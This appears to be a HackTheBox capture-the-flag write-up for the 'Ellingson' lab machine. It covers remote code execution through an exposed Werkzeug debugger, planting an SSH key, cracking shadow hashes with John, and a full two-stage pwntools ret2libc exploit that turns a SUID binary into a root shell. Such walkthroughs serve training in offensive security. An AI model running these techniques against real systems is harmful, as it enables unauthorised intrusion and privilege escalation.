HackTheBox - Ellingson

11 minute read

Ellingson was a nice 40 point box created by Ic3M4n. It started with finding an exposed Werkzeug Debugger and getting RCE so we could SSH in to the box. We then needed to crack some hashes to get user and pwn a SUID binary to get root.



We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Browsing to the home page gives us some potential usernames in the meet the team section:

We also notice 3 articles published on the site under /article/1, /article/2, and /article/3.

Article1 regards a recent virus in the Ellingson mainframe, article2 mentions a fail2ban-esque brute force protection for Ellingson network services, and article3 has some interesting information that may become useful later on…

We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague

If we change /article/3 to /article/4 in our URL we get the following details:

Checking the source code we spot Werkzeug Debugger and references to console. Going to /articles/console and selecting the terminal icon in the bottom right, we’re then presented with a Python3 console interface:


The following code snippet demonstrates command execution and how we can add our attacking host’s public SSH key to hal’s authorized_keys file:

>>> import subprocess
>>> subprocess.check_output(['id'])
b'uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)\n'

>>> subprocess.check_output(['ls', '-la', '/home/hal/.ssh'])
b'total 20\ndrwx------ 2 hal hal 4096 Mar  9  2019 .\ndrwxrwx--- 5 hal hal 4096 May  7 13:12 ..\n-rw-r--r-- 1 hal hal 1145 Mar 10  2019 authorized_keys\n-rw------- 1 hal hal 1766 Mar  9  2019 id_rsa\n-rw-r--r-- 1 hal hal  395 Mar  9  2019 id_rsa.pub\n'

>>> f = open("/home/hal/.ssh/authorized_keys", "w")
>>> f.write("ssh-rsa AAAAB3N...UdQkzh root@kali")
>>> f.close()

>>> subprocess.check_output(['cat', '/home/hal/.ssh/authorized_keys'])
b'ssh-rsa AAAAB3N...UdQkzh root@kali'

With our public key in place, we can simply SSH in with our private key and get an SSH shell as hal.

# ssh -i id_rsa hal@ellingson.htb


Checking out /var/backups we see there’s a shadow.bak file. Since we’re in the adm group we’re able to cat the file.

hal@ellingson:/var/backups$ ls -la
total 708
drwxr-xr-x  2 root root     4096 May  7 13:14 .
drwxr-xr-x 14 root root     4096 Mar  9  2019 ..
-rw-r--r--  1 root root    61440 Mar 10  2019 alternatives.tar.0
-rw-r--r--  1 root root     8255 Mar  9  2019 apt.extended_states.0
-rw-r--r--  1 root root      437 Jul 25  2018 dpkg.diversions.0
-rw-r--r--  1 root root      295 Mar  9  2019 dpkg.statoverride.0
-rw-r--r--  1 root root   615441 Mar  9  2019 dpkg.status.0
-rw-------  1 root root      811 Mar  9  2019 group.bak
-rw-------  1 root shadow    678 Mar  9  2019 gshadow.bak
-rw-------  1 root root     1757 Mar  9  2019 passwd.bak
-rw-r-----  1 root adm      1309 Mar  9  2019 shadow.bak
hal@ellingson:/var/backups$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
hal@ellingson:/var/backups$ cat shadow.bak 


In order to unshadow we also need the four entries for theplague, hal, margo, and duke from the /etc/passwd file.

hal@ellingson:~$ cat /etc/passwd
theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash

Copy the four shadow entries into a file named shadow and the four passwd entries into a file named passwd. Then run the following:

# unshadow passwd shadow > hashes

# cat hashes 
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:1000:1000:Eugene Belford:/home/theplague:/bin/bash 

Hash Cracking

Remembering theplague’s message in /article/3 regarding the most common passwords being “Love, Secret, Sex and God”, we can grep those words from rockyou.txt into a custom wordlist to use to crack the unshadowed hashes.

# cat rockyou.txt | grep love > new                                                                                          
# cat rockyou.txt | grep secret >> new                                                                                        
# cat rockyou.txt | grep god >> new
# cat rockyou.txt | grep sex >> new

# john hashes --wordlist=new
iamgod$08        (margo)


SSH in with margo / iamgod$08 and we get the user flag.

# ssh margo@
margo@'s password: iamgod$08
margo@ellingson:~$ cat user.txt 



Checking for SUIDs we find the following binary that stands out:

margo@ellingson:~$ find / -perm -u=s -type f 2>/dev/null                                                           

Binary Analysis

Running ltrace on the binary we see it takes a password as input and uses strcmp() to compare the password N3veRF3@r1iSh3r3 to our supplied input.

strcmp() or ‘string compare’ is a vulnerable function in the C programming language, susceptible to buffer overflows. It’s also worth noting the call to puts() as we’ll be referring to this later.

margo@ellingson:~$ ltrace /usr/bin/garbage
getuid()                                                                                                  = 1002
syslog(6, "user: %lu cleared to access this"..., 1002)                                                    = <void>
getpwuid(1002, 0x47d030, 0x47d010, 1)                                                                     = 0x7f06583c5f20 
strcpy(0x7ffde3b17c64, "margo")                                                                           = 0x7ffde3b17c64 
printf("Enter access password: ")                                                                         = 23
gets(0x7ffde3b17c00, 0x47eb90, 0, 0Enter access password: 
)                                                                      = 0x7ffde3b17c00
putchar(10, 0x47efa0, 0x7f06583c58d0, 0x7f06580e8081
)                                                     = 10
strcmp("", "N3veRF3@r1iSh3r3!")                                                                           = -78
puts("access denied."access denied.
exit(-1 <no return ...>                                                                   = 15

We also check if ASLR is enabled, 2 as a response means full randomization is in effect.

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space

With that in mind, lets scp the binary over to our attacking host and start the exploit development process.

# scp margo@ellingson.htb:/usr/bin/garbage /HTB/boxes/ellingson/Garbage_ex

Exploit Development Stage 1


file simply determines the file type of the garbage binary and tells us it’s a 64-bit ELF executable:

# file garbage 
garbage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped 


ldd prints the shared libraries required by the binary:

# ldd garbage 
        linux-vdso.so.1 (0x00007fff50f4e000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8981042000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f8981229000)

We need to scp over libc.so.6 to our attacking host as well:

# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 /HTB/boxes/ellingson/Garbage_ex


Running checksec we see NX is enabled which means the stack is ‘Non eXecutable’, ret2libc to the rescue.

gef➤  checksec
[+] checksec for '/root/HTB/boxes/ellingson/Garbage_ex/garbage'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial


To crash the binary and locate the offset we create a 200 byte string, run garbage, and give our unique string as input:

gef➤  pattern create 200
[+] Generating a pattern of 200 bytes
[+] Saved as '$_gef0'

gef➤  run
Starting program: /root/HTB/boxes/ellingson/Garbage_ex/garbage
Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaa

access denied.
Program received signal SIGSEGV, Segmentation fault.

Further down in the crash stack output we see the following:

────────────────────────────────────────────────────────────────────────────────────────────────────── stack
0x00007fffffffe108│+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"$rsp
0x00007fffffffe110│+0x0008: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffe118│+0x0010: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe120│+0x0018: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe128│+0x0020: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe130│+0x0028: "waaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe138│+0x0030: "xaaaaaaayaaaaaaa"
0x00007fffffffe140│+0x0038: "yaaaaaaa"


gef➤  pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa
[+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'
[+] Found at offset 136 (big-endian search) 


The puts() function simply writes a string and a trailing newline to stdout.

# objdump -D garbage | grep puts
0000000000401050 <puts@plt>:
  401050:	ff 25 d2 2f 00 00    	jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

PLT stands for Procedure Linkage Table, used to call external procedures/functions whose address isn’t known in the time of linking, and is left to be resolved by the dynamic linker at run time.

GOT stands for Global Offsets Table and is similarly used to resolve addresses.

When PLT puts (puts@plt) calls GOT puts (puts@got) it leaks the address of where puts() is located in libc, this location changes every time the program is run.

plt_put = 0x401050
got_put = 0x401028


The first four registers for passing function arguments in 64-bit applications are rdi, rsi, rdx, and rcx.

However we only need to use the rdi register and the pop rdi; ret gadget to place the next value on the stack into that register (got_put is the argument to plt_put in this instance).

As an example, if we wanted three arguments to a function we’d use a pop rdi; pop rsi; pop rdx; ret; and then call the function afterward:

payload = poprdi_poprsi_poprdx # pop rdi; pop rsi; pop rdx; ret;
payload += "arg1"
payload += "arg2"
payload += "arg3"
payload += function_call

We can get the pop rdi; ret gadget from the garbage binary in either of the following ways:

# ropper -f garbage | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x000000000040179b: pop rdi; ret; 
gef➤  ! ROPgadget --binary garbage|grep rdi
0x000000000040179b : pop rdi ; ret
pop_rdi = 0x40179b

main call

Finally we need the address of main from the binary so we can return to it and not crash the program, this is important for when we get into stage 2.

# objdump -D garbage | grep main
  401194:	ff 15 56 2e 00 00    	callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
main = 0x401619


We send our 136 byte string of A, then execute pop rdi; ret, place GOT puts as an argument into rdi followed by the PLT puts function call so it writes out the contents of puts@got (which contains the libc address of puts()), and then we return to main.

payload = junk + pop_rdi + got_put + plt_put + plt_main


Putting together what we have so far:

from pwn import *

p = process('./garbage')  # process the local binary
context(os='linux', arch='amd64')

# Stage 1. 
junk = "A" * 136
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main


When we run the above we can see it returns the address of puts from libc.

# python local.py 
[+] Starting local process './garbage': pid 2386

[*] Switching to interactive mode
Enter access password: 
access denied.

# python local.py 
[+] Starting local process './garbage': pid 2391

[*] Switching to interactive mode
Enter access password: 
access denied.

As this address changes everytime (ASLR), we need to be able to grab the address from stdout each time we run the exploit so we can preserve the value and use it throughout the rest of our script:

p.recvuntil("denied.") # receive until the access denied statement
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") # get first 8 bytes of output, remove any new line characters & add 8 \x00s to fill space to right of the string 
log.success("Leaked puts@GLIBC: " + str(leaked_puts)) # print the leaked puts address 
leaked_puts = u64(leaked_puts) # pack 64bit int leaked puts address

Local Test

Running the complete code for stage 1 we can confirm our local leak is working and being stored in the variable leaked_puts:

from pwn import *

p = process('./garbage')
context(os='linux', arch='amd64')

# Stage 1. 
junk = "A" * 136
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main


leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.success("Leaked puts@GLIBC: " + str(leaked_puts))
leaked_puts = u64(leaked_puts)
# python local.py 
[+] Starting local process './garbage': pid 8473
[+] Leaked puts@GLIBC: @0p�H\x7f\x00\x00
[*] Stopped process './garbage' (pid 8473)

Exploit Development Stage 2

In stage1 we leaked the address locally, however we need to get the leaked address from the remote host in order to pwn the binary and get a root shell.


First we’ll need to get the puts() function address from the libc.so.6 we got off the box.

# readelf -s libc.so.6 | grep puts
   191: 00000000000809c0   512 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.2.5
   422: 00000000000809c0   512 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
libc_put = 0x809c0


Then we can use the system() function to execute a shell command, in this instance /bin/sh.

# readelf -s libc.so.6 | grep system   
   232: 0000000000159e20    99 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.2.5
   607: 000000000004f440    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1403: 000000000004f440    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
libc_sys = 0x4f440


We also need the adress of the string /bin/sh so we can call it with system and spawn a sh shell on the remote host.

# strings -a -t x libc.so.6 | grep /bin/sh
 1b3e9a /bin/sh
libc_sh = 0x1b3e9a


We can use the setuid() function to set the effective uid of the calling process.

If the effective UID of the caller is root, the real UID and saved set-user-ID are also set.

# readelf -s libc.so.6 | grep setuid
    23: 00000000000e5970   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5
libc_setuid = 0xe5970


We now use the libc_put address from libc.so.6 and subtract it from the leaked_puts address from stage one so we get the offset between the function in the binary and its address in libc.

With this offset we can then find and call system, /bin/sh, and setuid to get a root shell.

offset = leaked_puts - libc_put
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
setuid = p64(offset + libc_setuid)
null = p64(0x0)


Finally, we structure our stage 2 payload:

payload = junk
payload += pop_rdi
payload += null
payload += setuid
payload += pop_rdi
payload += sh
payload += sys


Remote Exploit

from pwn import *

con = ssh(host = '', user = 'margo', password = 'iamgod$08', port=22) # connect via ssh
p = con.process('/usr/bin/garbage') # process the garbage binary via the ssh connection 
context(os='linux', arch='amd64')

# Stage 1. 
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
junk = "A" * 136

payload = junk + pop_rdi + got_put + plt_put + plt_main

leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.success("Leaked puts@GLIBC: " + str(leaked_puts))
leaked_puts = u64(leaked_puts)

# Stage 2.
libc_put = 0x809c0
libc_sys = 0x4f440
libc_sh = 0x1b3e9a
libc_setuid = 0xe5970
null = p64(0x0)

offset = leaked_puts - libc_put
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
setuid = p64(offset + libc_setuid)

payload = junk
payload += pop_rdi
payload += null
payload += setuid
payload += pop_rdi
payload += sh
payload += sys



# python remote.py
[+] Connecting to on port 22: Done
[*] margo@
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on pid 4738
[+] Leaked puts@GLIBC: cz@\x7f\x00\x00
[*] Switching to interactive mode
$ id
access denied.
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt